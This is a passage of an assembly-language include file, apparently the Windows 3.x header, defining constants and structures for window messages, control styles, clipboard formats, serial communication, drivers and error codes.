WM_LBUTTONDBLCLK = 0203h

WM_RBUTTONDOWN = 0204h

WM_RBUTTONUP = 0205h

WM_RBUTTONDBLCLK = 0206h

WM_MBUTTONDOWN = 0207h

WM_MBUTTONUP = 0208h

WM_MBUTTONDBLCLK = 0209h

WM_MOUSELAST = 0209h

WM_PARENTNOTIFY = 0210h

WM_MDICREATE = 0220h

WM_MDIDESTROY = 0221h

WM_MDIACTIVATE = 0222h

WM_MDIRESTORE = 0223h

WM_MDINEXT = 0224h

WM_MDIMAXIMIZE = 0225h

WM_MDITILE = 0226h

WM_MDICASCADE = 0227h

WM_MDIICONARRANGE = 0228h

WM_MDIGETACTIVE = 0229h

WM_MDISETMENU = 0230h

WM_DROPFILES = 0233h

WM_CUT = 0300h

WM_COPY = 0301h

WM_PASTE = 0302h

WM_CLEAR = 0303h

WM_UNDO = 0304h

WM_RENDERFORMAT = 0305h

WM_RENDERALLFORMATS = 0306h

WM_DESTROYCLIPBOARD = 0307h

WM_DRAWCLIPBOARD = 0308h

WM_PAINTCLIPBOARD = 0309h

WM_VSCROLLCLIPBOARD = 030Ah

WM_SIZECLIPBOARD = 030Bh

WM_ASKCBFORMATNAME = 030Ch

WM_CHANGECBCHAIN = 030Dh

WM_HSCROLLCLIPBOARD = 030Eh

WM_QUERYNEWPALETTE = 030Fh

WM_PALETTEISCHANGING = 0310h

WM_PALETTECHANGED = 0311h

IFNDEF NOWIN31

WM_PENWINFIRST equ 0380h

WM_PENWINLAST equ 038Fh

WM_COALESCE_FIRST equ 0390h

WM_COALESCE_LAST equ 039Fh

ENDIF

; private window messages start here

WM_USER = 0400H

ENDIF ; NOWM

; WM_MOUSEACTIVATE Return Codes

MA_ACTIVATE = 1

MA_ACTIVATEANDEAT = 2

MA_NOACTIVATE = 3

; Size message commands

SIZENORMAL = 0

SIZEICONIC = 1

SIZEFULLSCREEN = 2

SIZEZOOMSHOW = 3

SIZEZOOMHIDE = 4

; ShowWindow() Commands

SW_HIDE = 0

SW_SHOWNORMAL = 1

SW_NORMAL = 1

SW_SHOWMINIMIZED = 2

SW_SHOWMAXIMIZED = 3

SW_MAXIMIZE = 3

SW_SHOWNOACTIVATE = 4

SW_SHOW = 5

SW_MINIMIZE = 6

SW_SHOWMINNOACTIVE = 7

SW_SHOWNA = 8

SW_RESTORE = 9

; Old ShowWindow() Commands

HIDE_WINDOW = 0

SHOW_OPENWINDOW = 1

SHOW_ICONWINDOW = 2

SHOW_FULLSCREEN = 3

SHOW_OPENNOACTIVATE= 4

; identifiers for the WM_SHOWWINDOW message

SW_PARENTCLOSING = 1

SW_OTHERZOOM = 2

SW_PARENTOPENING = 3

SW_OTHERUNZOOM = 4

;

; Key state masks for mouse messages

;

MK_LBUTTON = 0001h

MK_RBUTTON = 0002h

MK_SHIFT = 0004h

MK_CONTROL = 0008h

MK_MBUTTON = 0010h

;

; Class styles

;

CS_VREDRAW = 0001h

CS_HREDRAW = 0002h

CS_KEYCVTWINDOW = 0004H

CS_DBLCLKS = 0008h

; 0010h reserved

CS_OWNDC = 0020h

CS_CLASSDC = 0040h

CS_PARENTDC = 0080h

CS_NOKEYCVT = 0100h

CS_SAVEBITS = 0800h

CS_NOCLOSE = 0200h

CS_BYTEALIGNCLIENT = 1000h

CS_BYTEALIGNWINDOW = 2000h

CS_GLOBALCLASS = 4000h ; Global window class

;

; Special CreateWindow position value

;

CW_USEDEFAULT EQU 8000h

;

; Windows styles (the high words)

;

WS_OVERLAPPED = 00000h

WS_ICONICPOPUP = 0C000h

WS_POPUP = 08000h

WS_CHILD = 04000h

WS_MINIMIZE = 02000h

WS_VISIBLE = 01000h

WS_DISABLED = 00800h

WS_CLIPSIBLINGS = 00400h

WS_CLIPCHILDREN = 00200h

WS_MAXIMIZE = 00100h

WS_CAPTION = 000C0h ; WS_BORDER | WS_DLGFRAME

WS_BORDER = 00080h

WS_DLGFRAME = 00040h

WS_VSCROLL = 00020h

WS_HSCROLL = 00010h

WS_SYSMENU = 00008h

WS_THICKFRAME = 00004h

WS_HREDRAW = 00002h

WS_VREDRAW = 00001h

WS_GROUP = 00002h

WS_TABSTOP = 00001h

WS_MINIMIZEBOX = 00002h

WS_MAXIMIZEBOX = 00001h

; Common Window Styles

WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME + WS_MINIMIZEBOX + WS_MAXIMIZEBOX

WS_POPUPWINDOW = WS_POPUP + WS_BORDER + WS_SYSMENU

WS_CHILDWINDOW = WS_CHILD

WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW

WS_TILED = WS_OVERLAPPED

WS_ICONIC = WS_MINIMIZE

WS_SIZEBOX = WS_THICKFRAME

; Extended Window Styles (low words)

WS_EX_DLGMODALFRAME = 0001

WS_EX_DRAGOBJECT = 0002

WS_EX_NOPARENTNOTIFY = 0004

WS_EX_TOPMOST = 0008

;

; predefined clipboard formats

;

CF_TEXT = 1

CF_BITMAP = 2

CF_METAFILEPICT = 3

CF_SYLK = 4

CF_DIF = 5

CF_TIFF = 6

CF_OEMTEXT = 7

CF_DIB = 8

CF_PALETTE = 9

CF_PENDATA = 10

CF_RIFF = 11

CF_WAVE = 12

CF_OWNERDISPLAY = 80h ; owner display

CF_DSPTEXT = 81h ; display text

CF_DSPBITMAP = 82h ; display bitmap

CF_DSPMETAFILEPICT = 83h ; display metafile

;

; Private clipboard format range

;

CF_PRIVATEFIRST = 200h ; Anything in this range doesn't

CF_PRIVATELAST = 2ffh ; get GlobalFree'd

CF_GDIOBJFIRST = 300h ; Anything in this range gets

CF_GDIOBJLAST = 3ffh ; DeleteObject'ed

MAKEINTRESOURCE MACRO a

mov ax,a

xor dx,dx

ENDM

;

; Predefined resource types

;

RT_CURSOR = 1 ; must be passed through MAKEINTRESOURCE

RT_BITMAP = 2

RT_ICON = 3

RT_MENU = 4

RT_DIALOG = 5

RT_STRING = 6

RT_FONTDIR = 7

RT_FONT = 8

RT_ACCELERATOR = 9

RT_RCDATA = 10

;** NOTE: if any new resource types are introduced above this point, then the

;** value of DIFFERENCE must be changed.

;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE

;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE

DIFFERENCE = 11

RT_GROUP_CURSOR = RT_CURSOR + DIFFERENCE

RT_GROUP_ICON = RT_ICON + DIFFERENCE

IFNDEF NOMDI

MDICREATESTRUCT struc

szClass dd ?

szTitle dd ?

hOwner dw ?

x dw ?

y dw ?

cxc dw ?

cyc dw ?

style dd ?

MDICREATESTRUCT ends

CLIENTCREATESTRUCT struc

hWindowMenu dw ?

idFirstChild dw ?

CLIENTCREATESTRUCT ends

ENDIF

; NOMDI

PALETTEENTRY struc

peRed db ?

peGreen db ?

peBlue db ?

peFlags db ?

PALETTEENTRY ends

; Logical Palette

LOGPALETTE struc

palVersion dw ?

palNumEntries dw ?

palPalEntry db ? ; array of PALETTEENTRY

LOGPALETTE ends

; DRAWITEMSTRUCT for ownerdraw

DRAWITEMSTRUCT struc

drCtlType dw ?

drCtlID dw ?

dritemID dw ?

dritemAction dw ?

dritemState dw ?

drhwndItem dw ?

drhDC dw ?

drrcItem DB size RECT dup(?)

dritemData dd ?

DRAWITEMSTRUCT ends

; DELETEITEMSTRUCT for ownerdraw

DELETEITEMSTRUCT struc

deCtlType dw ?

deCtlID dw ?

deitemID dw ?

dehwndItem dw ?

deitemData dd ?

DELETEITEMSTRUCT ends

; MEASUREITEMSTRUCT for ownerdraw

MEASUREITEMSTRUCT struc

meCtlType dw ?

meCtlID dw ?

meitemID dw ?

meitemWidth dw ?

meitemHeight dw ?

meitemData dd ?

MEASUREITEMSTRUCT ends

; COMPAREITEMSTUCT for ownerdraw sorting

COMPAREITEMSTRUCT struc

coCtlType dw ?

coCtlID dw ?

cohwndItem dw ?

coitemID1 dw ?

coitemData1 dd ?

coitemID2 dw ?

coitemData2 dd ?

COMPAREITEMSTRUCT ends

; Owner draw control types

ODT_MENU = 1

ODT_LISTBOX = 2

ODT_COMBOBOX = 3

ODT_BUTTON = 4

; Owner draw actions

ODA_DRAWENTIRE = 1

ODA_SELECT = 2

ODA_FOCUS = 4

; Owner draw state

ODS_SELECTED = 0001h

ODS_GRAYED = 0002h

ODS_DISABLED = 0004h

ODS_CHECKED = 0008h

ODS_FOCUS = 0010h

; PeekMessage() Options

PM_NOREMOVE = 0000h

PM_REMOVE = 0001h

PM_NOYIELD = 0002h

; SetWindowPos Flags

SWP_NOSIZE = 0001h

SWP_NOMOVE = 0002h

SWP_NOZORDER = 0004h

SWP_NOREDRAW = 0008h

SWP_NOACTIVATE = 0010h

SWP_DRAWFRAME = 0020h

SWP_SHOWWINDOW = 0040h

SWP_HIDEWINDOW = 0080h

SWP_NOCOPYBITS = 0100h

SWP_NOREPOSITION = 0200h

IFNDEF NOWINMESSAGES

; Listbox messages

LB_ADDSTRING = (WM_USER+1)

LB_INSERTSTRING = (WM_USER+2)

LB_DELETESTRING = (WM_USER+3)

LB_RESETCONTENT = (WM_USER+5)

LB_SETSEL = (WM_USER+6)

LB_SETCURSEL = (WM_USER+7)

LB_GETSEL = (WM_USER+8)

LB_GETCURSEL = (WM_USER+9)

LB_GETTEXT = (WM_USER+10)

LB_GETTEXTLEN = (WM_USER+11)

LB_GETCOUNT = (WM_USER+12)

LB_SELECTSTRING = (WM_USER+13)

LB_DIR = (WM_USER+14)

LB_GETTOPINDEX = (WM_USER+15)

LB_FINDSTRING = (WM_USER+16)

LB_GETSELCOUNT = (WM_USER+17)

LB_GETSELITEMS = (WM_USER+18)

LB_SETTABSTOPS = (WM_USER+19)

LB_GETHORIZONTALEXTENT = (WM_USER+20)

LB_SETHORIZONTALEXTENT = (WM_USER+21)

LB_SETTOPINDEX = (WM_USER+24)

LB_GETITEMRECT = (WM_USER+25)

LB_GETITEMDATA = (WM_USER+26)

LB_SETITEMDATA = (WM_USER+27)

LB_SELITEMRANGE = (WM_USER+28)

LB_SETCARETINDEX = (WM_USER+31)

LB_GETCARETINDEX = (WM_USER+32)

IFNDEF NOWIN31

LB_SETITEMHEIGHT = (WM_USER+33)

LB_GETITEMHEIGHT = (WM_USER+34)

LB_FINDSTRINGEXACT = (WM_USER+35)

ENDIF

ENDIF

; NOWINMESSAGES

; Listbox Styles

LBS_NOTIFY = 0001h

LBS_SORT = 0002h

LBS_NOREDRAW = 0004h

LBS_MULTIPLESEL = 0008h

LBS_OWNERDRAWFIXED = 0010h

LBS_OWNERDRAWVARIABLE = 0020h

LBS_HASSTRINGS = 0040h

LBS_USETABSTOPS = 0080h

LBS_NOINTEGRALHEIGHT = 0100h

LBS_MULTICOLUMN = 0200h

LBS_WANTKEYBOARDINPUT = 0400h

LBS_EXTENDEDSEL = 0800h

LBS_STANDARD = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER

LBS_DISABLENOSCROLL = 1000h

; Listbox Notification Codes

LBN_ERRSPACE = (-2)

LBN_SELCHANGE = 1

LBN_DBLCLK = 2

LBN_SELCANCEL = 3

LBN_SETFOCUS = 4

LBN_KILLFOCUS = 5

IFNDEF NOWINMESSAGES

; Edit Control Messages

EM_GETSEL = (WM_USER+0)

EM_SETSEL = (WM_USER+1)

EM_GETRECT = (WM_USER+2)

EM_SETRECT = (WM_USER+3)

EM_SETRECTNP = (WM_USER+4)

EM_SCROLL = (WM_USER+5)

EM_LINESCROLL = (WM_USER+6)

EM_GETMODIFY = (WM_USER+8)

EM_SETMODIFY = (WM_USER+9)

EM_GETLINECOUNT = (WM_USER+10)

EM_LINEINDEX = (WM_USER+11)

EM_SETHANDLE = (WM_USER+12)

EM_GETHANDLE = (WM_USER+13)

EM_LINELENGTH = (WM_USER+17)

EM_REPLACESEL = (WM_USER+18)

EM_SETFONT = (WM_USER+19)

EM_GETLINE = (WM_USER+20)

EM_LIMITTEXT = (WM_USER+21)

EM_CANUNDO = (WM_USER+22)

EM_UNDO = (WM_USER+23)

EM_FMTLINES = (WM_USER+24)

EM_LINEFROMCHAR = (WM_USER+25)

EM_SETWORDBREAK = (WM_USER+26)

EM_SETTABSTOPS = (WM_USER+27)

EM_SETPASSWORDCHAR = (WM_USER+28)

EM_EMPTYUNDOBUFFER = (WM_USER+29)

IFNDEF NOWIN31

EM_GETFIRSTVISIBLELINE = (WM_USER+30)

EM_SETREADONLY = (WM_USER+31)

EM_SETWORDBREAKPROC = (WM_USER+32)

EM_GETWORDBREAKPROC = (WM_USER+33)

EM_GETPASSWORDCHAR = (WM_USER+34)

ENDIF

ENDIF

; NOWINMESSAGES

; Edit Control Styles (low word)

ES_LEFT = 0000h

ES_CENTER = 0001h

ES_RIGHT = 0002h

ES_MULTILINE = 0004h

ES_UPPERCASE = 0008h

ES_LOWERCASE = 0010h

ES_PASSWORD = 0020h

ES_AUTOVSCROLL = 0040h

ES_AUTOHSCROLL = 0080h

ES_NOHIDESEL = 0100h

ES_OEMCONVERT = 0400h

IFNDEF NOWIN31

ES_READONLY = 0800h

ES_WANTRETURN = 1000h

ENDIF

; Edit Control Notification Codes

EN_SETFOCUS = 0100h

EN_KILLFOCUS = 0200h

EN_CHANGE = 0300h

EN_UPDATE = 0400h

EN_ERRSPACE = 0500h

EN_MAXTEXT = 0501h

EN_HSCROLL = 0601h

EN_VSCROLL = 0602h

IFNDEF NOWINMESSAGES

; Button Control Messages

BM_GETCHECK = (WM_USER+0)

BM_SETCHECK = (WM_USER+1)

BM_GETSTATE = (WM_USER+2)

BM_SETSTATE = (WM_USER+3)

BM_SETSTYLE = (WM_USER+4)

ENDIF

; NOWINMESSAGES

; Button Control Styles (low word)

BS_PUSHBUTTON = 00h

BS_DEFPUSHBUTTON = 01h

BS_CHECKBOX = 02h

BS_AUTOCHECKBOX = 03h

BS_RADIOBUTTON = 04h

BS_3STATE = 05h

BS_AUTO3STATE = 06h

BS_GROUPBOX = 07h

BS_USERBUTTON = 08h

BS_AUTORADIOBUTTON = 09h

BS_OWNERDRAW = 0Bh

BS_LEFTTEXT = 20h

; User Button Notification Codes

BN_CLICKED = 0

BN_PAINT = 1

BN_HILITE = 2

BN_UNHILITE = 3

BN_DISABLE = 4

BN_DOUBLECLICKED = 5

; Dialog Styles (low words)

DS_ABSALIGN = 01h

DS_SYSMODAL = 02h

DS_LOCALEDIT = 20h ;/* Edit items get Local storage. */

DS_SETFONT = 40h ;/* User specified font for Dlg controls */

DS_MODALFRAME = 80h ;/* Can be combined with WS_CAPTION */

DS_NOIDLEMSG = 100h ;/* WM_ENTERIDLE message will not be sent */

IFNDEF NOWINMESSAGES

; Dialog box messages

DM_GETDEFID = (WM_USER+0)

DM_SETDEFID = (WM_USER+1)

ENDIF ;NOWINMESSAGES

; Dialog Codes

DLGC_WANTARROWS = 0001h ; /* Control wants arrow keys */

DLGC_WANTTAB = 0002h ; /* Control wants tab keys */

DLGC_WANTALLKEYS = 0004h ; /* Control wants all keys */

DLGC_WANTMESSAGE = 0004h ; /* Pass message to control */

DLGC_HASSETSEL = 0008h ; /* Understands EM_SETSEL message */

DLGC_DEFPUSHBUTTON = 0010h ; /* Default pushbutton */

DLGC_UNDEFPUSHBUTTON= 0020h ; /* Non-default pushbutton */

DLGC_RADIOBUTTON = 0040h ; /* Radio button */

DLGC_WANTCHARS = 0080h ; /* Want WM_CHAR messages */

DLGC_STATIC = 0100h ; /* Static item: don't include */

DLGC_BUTTON = 2000h ; /* Button item: can be checked */

; Combo Box return Values

CB_OKAY = 0

CB_ERR = (-1)

CB_ERRSPACE = (-2)

; Combo Box Notification Codes

CBN_ERRSPACE = (-1)

CBN_SELCHANGE = 1

CBN_DBLCLK = 2

CBN_SETFOCUS = 3

CBN_KILLFOCUS = 4

CBN_EDITCHANGE = 5

CBN_EDITUPDATE = 6

CBN_DROPDOWN = 7

; Combo Box styles (low words)

CBS_SIMPLE = 0001h

CBS_DROPDOWN = 0002h

CBS_DROPDOWNLIST = 0003h

CBS_OWNERDRAWFIXED = 0010h

CBS_OWNERDRAWVARIABLE= 0020h

CBS_AUTOHSCROLL = 0040h

CBS_OEMCONVERT = 0080h

CBS_SORT = 0100h

CBS_HASSTRINGS = 0200h

CBS_NOINTEGRALHEIGHT = 0400h

IFNDEF NOWINMESSAGES

; Combo Box messages

CB_GETEDITSEL = (WM_USER+0)

CB_LIMITTEXT = (WM_USER+1)

CB_SETEDITSEL = (WM_USER+2)

CB_ADDSTRING = (WM_USER+3)

CB_DELETESTRING = (WM_USER+4)

CB_DIR = (WM_USER+5)

CB_GETCOUNT = (WM_USER+6)

CB_GETCURSEL = (WM_USER+7)

CB_GETLBTEXT = (WM_USER+8)

CB_GETLBTEXTLEN = (WM_USER+9)

CB_INSERTSTRING = (WM_USER+10)

CB_RESETCONTENT = (WM_USER+11)

CB_FINDSTRING = (WM_USER+12)

CB_SELECTSTRING = (WM_USER+13)

CB_SETCURSEL = (WM_USER+14)

CB_SHOWDROPDOWN = (WM_USER+15)

CB_GETITEMDATA = (WM_USER+16)

CB_SETITEMDATA = (WM_USER+17)

IFNDEF NOWIN31

CB_GETDROPPEDCONTROLRECT = (WM_USER+18)

CB_SETITEMHEIGHT = (WM_USER+19)

CB_GETITEMHEIGHT = (WM_USER+20)

CB_SETEXTENDEDUI = (WM_USER+21)

CB_GETEXTENDEDUI = (WM_USER+22)

CB_GETDROPPEDSTATE = (WM_USER+23)

CB_FINDSTRINGEXACT = (WM_USER+24)

ENDIF

ENDIF ; NOWINMESSAGES

; Static Control styles (low word)

SS_LEFT = 00h

SS_CENTER = 01h

SS_RIGHT = 02h

SS_ICON = 03h

SS_BLACKRECT = 04h

SS_GRAYRECT = 05h

SS_WHITERECT = 06h

SS_BLACKFRAME = 07h

SS_GRAYFRAME = 08h

SS_WHITEFRAME = 09h

SS_SIMPLE = 0Bh

SS_LEFTNOWORDWRAP = 0Ch

SS_NOPREFIX = 80h ; Don't do "&" character translation

IFNDEF NOWIN31

IFNDEF NOWINMESSAGES

;Static Control Messages

STM_SETICON = (WM_USER+0)

STM_GETICON = (WM_USER+1)

ENDIF

ENDIF

; Scroll Bar Styles (low word)

SBS_HORZ = 0000h

SBS_VERT = 0001h

SBS_TOPALIGN = 0002h

SBS_LEFTALIGN = 0002h

SBS_BOTTOMALIGN = 0004h

SBS_RIGHTALIGN = 0004h

SBS_SIZEBOXTOPLEFTALIGN = 0002h

SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h

SBS_SIZEBOX = 0008h

IFNDEF NOSYSMETRICS

; GetSystemMetrics() codes

SM_CXSCREEN = 0

SM_CYSCREEN = 1

SM_CXVSCROLL = 2

SM_CYHSCROLL = 3

SM_CYCAPTION = 4

SM_CXBORDER = 5

SM_CYBORDER = 6

SM_CXDLGFRAME = 7

SM_CYDLGFRAME = 8

SM_CYVTHUMB = 9

SM_CXHTHUMB = 10

SM_CXICON = 11

SM_CYICON = 12

SM_CXCURSOR = 13

SM_CYCURSOR = 14

SM_CYMENU = 15

SM_CXFULLSCREEN = 16

SM_CYFULLSCREEN = 17

SM_CYKANJIWINDOW = 18

SM_MOUSEPRESENT = 19

SM_CYVSCROLL = 20

SM_CXHSCROLL = 21

SM_DEBUG = 22

SM_SWAPBUTTON = 23

SM_RESERVED1 = 24

SM_RESERVED2 = 25

SM_RESERVED3 = 26

SM_RESERVED4 = 27

SM_CXMIN = 28

SM_CYMIN = 29

SM_CXSIZE = 30

SM_CYSIZE = 31

SM_CXFRAME = 32

SM_CYFRAME = 33

SM_CXMINTRACK = 34

SM_CYMINTRACK = 35

IFNDEF NOWIN31

SM_CXDOUBLECLK = 36

SM_CYDOUBLECLK = 37

SM_CXICONSPACING = 38

SM_CYICONSPACING = 39

SM_MENUDROPALIGNMENT = 40

SM_PENWINDOWS = 41

SM_DBCSENABLED = 42

ENDIF

SM_CMETRICSMAX = 43

ENDIF ;NOSYSMETRICS

IFNDEF NOCOLOR

COLOR_SCROLLBAR = 0

COLOR_BACKGROUND = 1

COLOR_ACTIVECAPTION = 2

COLOR_INACTIVECAPTION = 3

COLOR_MENU = 4

COLOR_WINDOW = 5

COLOR_WINDOWFRAME = 6

COLOR_MENUTEXT = 7

COLOR_WINDOWTEXT = 8

COLOR_CAPTIONTEXT = 9

COLOR_ACTIVEBORDER = 10

COLOR_INACTIVEBORDER = 11

COLOR_APPWORKSPACE = 12

COLOR_HIGHLIGHT = 13

COLOR_HIGHLIGHTTEXT = 14

COLOR_BTNFACE = 15

COLOR_BTNSHADOW = 16

COLOR_GRAYTEXT = 17

COLOR_BTNTEXT = 18

IFNDEF NOWIN31

COLOR_INACTIVECAPTIONTEXT = 19

COLOR_BTNHILIGHT = 20

ENDIF

ENDIF ;NOCOLOR

; Commands to pass WinHelp()

HELP_CONTEXT =0001h ;/* Display topic in ulTopic */

HELP_QUIT =0002h ;/* Terminate help */

HELP_INDEX =0003h ;/* Display index */

HELP_HELPONHELP =0004h ;/* Display help on using help */

HELP_SETINDEX =0005h ;/* Set the current Index for multi index help */

HELP_KEY =0101h ;/* Display topic for keyword in offabData */

IFNDEF NOCOMM

NOPARITY = 0

ODDPARITY = 1

EVENPARITY = 2

MARKPARITY = 3

SPACEPARITY = 4

ONESTOPBIT = 0

ONE5STOPBITS = 1

TWOSTOPBITS = 2

IGNORE = 0 ; /* Ignore signal */

INFINITE = 0FFFFh ; /* Infinite timeout */

; Error Flags

CE_RXOVER = 0001h ; /* Receive Queue overflow */

CE_OVERRUN = 0002h ; /* Receive Overrun Error */

CE_RXPARITY = 0004h ; /* Receive Parity Error */

CE_FRAME = 0008h ; /* Receive Framing error */

CE_BREAK = 0010h ; /* Break Detected */

CE_CTSTO = 0020h ; /* CTS Timeout */

CE_DSRTO = 0040h ; /* DSR Timeout */

CE_RLSDTO = 0080h ; /* RLSD Timeout */

CE_TXFULL = 0100h ; /* TX Queue is full */

CE_PTO = 0200h ; /* LPTx Timeout */

CE_IOE = 0400h ; /* LPTx I/O Error */

CE_DNS = 0800h ; /* LPTx Device not selected */

CE_OOP = 1000h ; /* LPTx Out-Of-Paper */

CE_MODE = 8000h ; /* Requested mode unsupported */

IE_BADID = (-1) ; /* Invalid or unsupported id */

IE_OPEN = (-2) ; /* Device Already Open */

IE_NOPEN = (-3) ; /* Device Not Open */

IE_MEMORY = (-4) ; /* Unable to allocate queues */

IE_DEFAULT = (-5) ; /* Error in default parameters */

IE_HARDWARE = (-10) ; /* Hardware Not Present */

IE_BYTESIZE = (-11) ; /* Illegal Byte Size */

IE_BAUDRATE = (-12) ; /* Unsupported BaudRate */

; Events

EV_RXCHAR = 0001h ; /* Any Character received */

EV_RXFLAG = 0002h ; /* Received certain character */

EV_TXEMPTY = 0004h ; /* Transmitt Queue Empty */

EV_CTS = 0008h ; /* CTS changed state */

EV_DSR = 0010h ; /* DSR changed state */

EV_RLSD = 0020h ; /* RLSD changed state */

EV_BREAK = 0040h ; /* BREAK received */

EV_ERR = 0080h ; /* Line status error occurred */

EV_RING = 0100h ; /* Ring signal detected */

EV_PERR = 0200h ; /* Printer error occured */

EV_CTSS = 0400h ; /* CTS state */

EV_DSRS = 0800h ; /* DSR state */

EV_RLSDS = 1000h ; /* RLSD state */

EV_RingTe = 2000h ; /* Ring Trailing Edge Indicator */

; Escape Functions

SETXOFF = 1 ; /* Simulate XOFF received */

SETXON = 2 ; /* Simulate XON received */

SETRTS = 3 ; /* Set RTS high */

CLRRTS = 4 ; /* Set RTS low */

SETDTR = 5 ; /* Set DTR high */

CLRDTR = 6 ; /* Set DTR low */

RESETDEV = 7 ; /* Reset device if possible */

LPTx = 80h ; /* Set if ID is for LPT device */

IFNDEF NOWIN31

; new escape functions

GETMAXLPT equ 8 ; Max supported LPT id

GETMAXCOM equ 9 ; Max supported COM id

GETBASEIRQ equ 10 ; Get port base & irq for a port

; Comm Baud Rate indices

CBR_110 equ 0FF10h

CBR_300 equ 0FF11h

CBR_600 equ 0FF12h

CBR_1200 equ 0FF13h

CBR_2400 equ 0FF14h

CBR_4800 equ 0FF15h

CBR_9600 equ 0FF16h

CBR_14400 equ 0FF17h

CBR_19200 equ 0FF18h

; 0FF19h (reserved)

; 0FF1Ah (reserved)

CBR_38400 equ 0FF1Bh

; 0FF1Ch (reserved)

; 0FF1Dh (reserved)

; 0FF1Eh (reserved)

CBR_56000 equ 0FF1Fh

; 0FF20h (reserved)

; 0FF21h (reserved)

; 0FF22h (reserved)

CBR_128000 equ 0FF23h

; 0FF24h (reserved)

; 0FF25h (reserved)

; 0FF26h (reserved)

CBR_256000 equ 0FF27h

; notifications passed in low word of lParam on WM_COMMNOTIFY messages

CN_RECEIVE equ 1 ; bytes are available in the input queue

CN_TRANSMIT equ 2 ; fewer than wOutTrigger bytes still

; remain in the output queue waiting

; to be transmitted.

CN_EVENT equ 4 ; an enabled event has occurred

ENDIF

DCB struc

DCB_Id db ? ; /* Internal Device ID */

DCB_BaudRate dw ? ; /* Baudrate at which runing */

DCB_ByteSize db ? ; /* Number of bits/byte, 4-8 */

DCB_Parity db ? ; /* 0-4=None,Odd,Even,Mark,Space */

DCB_StopBits db ? ; /* 0,1,2 = 1, 1.5, 2 */

DCB_RlsTimeout dw ? ; /* Timeout for RLSD to be set */

DCB_CtsTimeout dw ? ; /* Timeout for CTS to be set */

DCB_DsrTimeout dw ? ; /* Timeout for DSR to be set */

DCB_BitMask1 db ?

; BYTE fBinary: 1; /* Binary Mode (skip EOF check */

; BYTE fRtsDisable:1; /* Don't assert RTS at init time */

; BYTE fParity: 1; /* Enable parity checking */

; BYTE fOutxCtsFlow:1; /* CTS handshaking on output */

; BYTE fOutxDsrFlow:1; /* DSR handshaking on output */

; BYTE fDummy: 2; /* Reserved */

; BYTE fDtrDisable:1; /* Don't assert DTR at init time */

DCB_BitMask2 db ?

; BYTE fOutX: 1; /* Enable output X-ON/X-OFF */

; BYTE fInX: 1; /* Enable input X-ON/X-OFF */

; BYTE fPeChar: 1; /* Enable Parity Err Replacement */

; BYTE fNull: 1; /* Enable Null stripping */

; BYTE fChEvt: 1; /* Enable Rx character event. */

; BYTE fDtrflow: 1; /* DTR handshake on input */

; BYTE fRtsflow: 1; /* RTS handshake on input */

; BYTE fDummy2: 1;

DCB_XonChar db ? ; /* Tx and Rx X-ON character */

DCB_XoffChar db ? ; /* Tx and Rx X-OFF character */

DCB_XonLim dw ? ; /* Transmit X-ON threshold */

DCB_XoffLim dw ? ; /* Transmit X-OFF threshold */

DCB_PeChar db ? ; /* Parity error replacement char */

DCB_EofChar db ? ; /* End of Input character */

DCB_EvtChar db ? ; /* Recieved Event character */

DCB_TxDelay dw ? ; /* Amount of time between chars */

DCB ends

COMSTAT struc

COMS_BitMask1 db ?

; BYTE fCtsHold: 1; /* Transmit is on CTS hold */

; BYTE fDsrHold: 1; /* Transmit is on DSR hold */

; BYTE fRlsdHold: 1; /* Transmit is on RLSD hold */

; BYTE fXoffHold: 1; /* Received handshake */

; BYTE fXoffSent: 1; /* Issued handshake */

; BYTE fEof: 1; /* End of file character found */

; BYTE fTxim: 1; /* Character being transmitted */

COMS_cbInQue dw ? ; /* count of characters in Rx Queue */

COMS_cbOutQue dw ? ; /* count of characters in Tx Queue */

COMSTAT ends

ENDIF ;NOCOM

;

; Installable Driver Support

;

; Driver Messages

DRV_LOAD = 0001h

DRV_ENABLE = 0002h

DRV_OPEN = 0003h

DRV_CLOSE = 0004h

DRV_DISABLE = 0005h

DRV_FREE = 0006h

DRV_CONFIGURE = 0007h

DRV_QUERYCONFIGURE = 0008h

DRV_INSTALL = 0009h

DRV_REMOVE = 000Ah

DRV_EXITSESSION = 000Bh

DRV_POWER = 000Fh

DRV_RESERVED = 0800h

DRV_USER = 4000h

;LPARAM of DRV_CONFIGURE message and return values

DRVCONFIGINFO struc

DRVCNF_dwDCISize dw ?

DRVCNF_lpszDCISectionName dd ?

DRVCNF_lpszDCIAliasName dd ?

DRVCONFIGINFO ends

DRVCNF_CANCEL = 0000h

DRVCNF_OK = 0001h

DRVCNF_RESTART = 0002h

IFNDEF NOKERNEL

;

; Common Kernel errors

;

ERR_GALLOC = 01030h ; GlobalAlloc Failed

ERR_GREALLOC = 01031h ; GlobalReAlloc Failed

ERR_GLOCK = 01032h ; GlobalLock Failed

ERR_LALLOC = 01033h ; LocalAlloc Failed

ERR_LREALLOC = 01034h ; LocalReAlloc Failed

ERR_LLOCK = 01035h ; LocalLock Failed

ERR_ALLOCRES = 01036h ; AllocResource Failed

ERR_LOCKRES = 01037h ; LockResource Failed

ERR_LOADMODULE = 01038h ; LoadModule failed

;

; Common User Errors

;

ERR_CREATEDLG = 01045h ; /* Create Dlg failure due to LoadMenu failure */

ERR_CREATEDLG2 = 01046h ; /* Create Dlg failure due to CreateWindow Failure */

ERR_REGISTERCLASS = 01047h ; /* RegisterClass failure due to Class already registered */

ERR_DCBUSY = 01048h ; /* DC Cache is full */

ERR_CREATEWND = 01049h ; /* Create Wnd failed due to class not found */

ERR_STRUCEXTRA = 01050h ; /* Unallocated Extra space is used */

ERR_LOADSTR = 01051h ; /* LoadString() failed */

ERR_LOADMENU = 01052h ; /* LoadMenu Failed */

ERR_NESTEDBEGINPAINT = 01053h ; /* Nested BeginPaint() calls */

ERR_BADINDEX = 01054h ; /* Bad index to Get/Set Class/Window Word/Long */

ERR_CREATEMENU = 01055h ; /* Error creating menu */

;

; Common GDI Errors

;

ERR_CREATEDC = 01070h ; /* CreateDC/CreateIC etc., failure */

ERR_CREATEMETA = 01071h ; /* CreateMetafile failure */

ERR_DELOBJSELECTED = 01072h ; /* Bitmap being deleted is selected into DC */

ERR_SELBITMAP = 01073h ; /* Bitmap being selected is already selected elsewhere */

ENDIF ;NOKERNEL

